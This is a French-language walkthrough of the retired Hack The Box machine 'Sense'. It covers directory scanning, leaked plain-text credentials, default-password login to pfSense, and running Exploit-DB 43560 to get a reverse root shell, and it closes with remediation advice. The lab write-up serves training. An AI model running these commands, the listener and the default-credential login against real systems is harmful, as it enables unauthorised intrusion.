Article original : Keep Calm and Hack The Box - Sense
Hack The Box (HTB) est une plateforme en ligne qui vous permet de tester vos compétences en matière de tests d'intrusion.
Elle contient plusieurs défis qui sont constamment mis à jour. Certains d'entre eux simulent des scénarios réels et d'autres s'orientent plus vers un style de défi CTF.
Note : Seuls les write-ups des machines HTB retirées sont autorisés.

Sense est assez simple dans l'ensemble. Il démontre les risques des mauvaises pratiques de mot de passe ainsi que l'exposition de fichiers internes sur un système public.
Nous allons utiliser les outils suivants pour pirater la boîte sur une Kali Linux box :
- nmap
- dirbuster
- searchsploit
Commençons !
Étape 1 - Reconnaissance
La première étape avant d'exploiter une machine est de faire un peu de scanning et de reconnaissance.
C'est l'une des parties les plus importantes car elle déterminera ce que vous pouvez essayer d'exploiter par la suite. Il est toujours préférable de passer plus de temps sur cette phase pour obtenir autant d'informations que possible.
Scan de ports
J'utiliserai Nmap (Network Mapper). Nmap est un utilitaire gratuit et open source pour la découverte de réseau et l'audit de sécurité.
Il utilise des paquets IP bruts pour déterminer quels hôtes sont disponibles sur le réseau, quels services ces hôtes offrent, quels systèmes d'exploitation ils exécutent, quel type de filtres de paquets/pare-feu sont utilisés, et des dizaines d'autres caractéristiques.
Il existe de nombreuses commandes que vous pouvez utiliser avec cet outil pour scanner le réseau. Si vous souhaitez en savoir plus, vous pouvez consulter la documentation ici.

J'utilise la commande suivante pour effectuer un scan intensif :
nmap -A -v 10.10.10.60
-A : Active la détection du système d'exploitation, la détection de version, le scan de scripts et le traceroute
-v : Augmente le niveau de verbosité
sense.htb : nom d'hôte pour la boîte Sense
Si vous trouvez les résultats un peu trop écrasants, vous pouvez essayer ceci :
nmap 10.10.10.60

Nous pouvons voir qu'il y a 2 ports ouverts incluant :
Port 80, le plus souvent utilisé par le protocole de transfert hypertexte (HTTP)
Port 443, port standard pour tout le trafic HTTP sécurisé
### Scan de répertoires
Toujours dans la phase de scanning et de reconnaissance, j'utilise maintenant DirBuster. DirBuster est une application Java multithread conçue pour forcer brutalement les répertoires et les noms de fichiers sur les serveurs web/applications.
Vous pouvez lancer DirBuster en tapant cette commande sur le terminal :
dirbuster
ou en recherchant l'application :
Ancien Kali
Nouveau Kali
L'application ressemble à ceci, où vous pouvez spécifier l'URL cible. Dans notre cas, ce sera https://10.10.10.60. Vous pouvez sélectionner une liste de mots avec la liste des dirs/fichiers en cliquant sur le bouton Parcourir :

J'utilise le directory-list-2.3-medium.txt pour cette recherche. Nous pouvons voir quelques fichiers intéressants ici :

Étape 2 - Visite des fichiers obtenus lors de la phase de reconnaissance
Naviguons vers le fichier changelog.txt. Nous obtenons plus d'informations sur un journal des modifications de sécurité, y compris la correction des vulnérabilités et la chronologie.

Un autre fichier intéressant est system-users.txt qui contient un nom d'utilisateur et une indication pour le mot de passe.

Étape 3 - Visite de la page web
Naviguons vers le site web. Nous voyons un panneau pfSense.

pfSense est une distribution logicielle open source de pare-feu/routeur basée sur FreeBSD. Il est installé sur un ordinateur physique ou une machine virtuelle pour faire un pare-feu/routeur dédié pour un réseau. Il peut être configuré et mis à niveau via une interface basée sur le web, et ne nécessite aucune connaissance du système FreeBSD sous-jacent pour gérer - Wikipedia
https://www.pfsense.org/
Faisons une recherche Google pour voir si nous pouvons trouver le nom d'utilisateur et le mot de passe par défaut pour pfSense. Bingo ! Nous trouvons une documentation sur Netgate Docs.
https://docs.netgate.com/pfsense/en/latest/solutions/m1n1wall/getting-started.html
J'essaie le nom d'utilisateur Rohit et le mot de passe pfsense sur la page de connexion et je suis connecté ! Je regarde le tableau de bord et d'autres informations que je pourrais recueillir. Nous pouvons voir quelle version spécifique nous utilisons - 2.1.3-RELEASE (amd64).

Étape 4 - Recherche d'un exploit
J'utilise Searchsploit pour vérifier s'il existe un exploit connu. Searchsploit est un outil de recherche en ligne de commande pour Exploit Database.
J'utilise la commande suivante :
searchsploit pfsense

J'obtiens plus de détails sur un exploit avec :
searchsploit -x 43560.py


Vous pouvez également consulter la Exploit Database pour trouver le même exploit.
https://www.exploit-db.com/exploits/43560
J'obtiens plus d'informations avec :
searchsploit -p 43560.py

Je peux voir où il se trouve sur ma boîte Kali. Je copie le fichier dans mon dossier Sense avec :
cp /usr/share/exploitdb/exploits/linux/remote/43560.py .
et pour vérifier s'il a été copié dans ce dossier :
ls -la

Sur un terminal (côté droit), je configure un écouteur avec :
nv -nvlp 1234
Je configure ensuite l'exploit (côté gauche) avec :
python 43560.py --rhost 10.10.10.60 --lhost 10.10.14.13 --lport 1234 --username rohit --password pfsense
J'ai obtenu un shell en tant que root !

Je commence à recueillir quelques informations de base. id retourne l'ID utilisateur réel du processus appelant.

Étape 5 - Recherche du flag user.txt
Je navigue vers le dossier rohit depuis home.
Je peux lister tous les fichiers/dossiers avec la commande suivante :
ls -la
Je me déplace ensuite vers le dossier home avec :
cd home

Et je trouve le flag utilisateur ! Je vérifie le contenu du fichier avec :
cat user.txt
Étape 5 - Recherche du flag root.txt
Trouvons maintenant le flag root. Je navigue jusqu'à root.
Je trouve le fichier root.txt et vérifie son contenu avec :
cat root.txt

Félicitations ! Vous avez trouvé les deux flags.
Remédiations
- Ne stockez pas d'informations sensibles telles que les identifiants de connexion ou votre statut de correctif dans un fichier en texte brut sur le serveur web
- L'application pfsense doit être corrigée à la dernière version
- Assurez-vous de changer le mot de passe par défaut lorsque vous configurez de nouvelles applications/serveurs/plateformes
- Appliquez le principe du moindre privilège à tous vos systèmes et services
N'hésitez pas à poser des questions ou à partager avec vos amis :)
Vous pouvez voir plus d'articles de la série Restez calme et pirater la boîte ici.
Vous pouvez me suivre sur Twitter ou sur LinkedIn.
Et n'oubliez pas de #GetSecure, #BeSecure & #StaySecure !
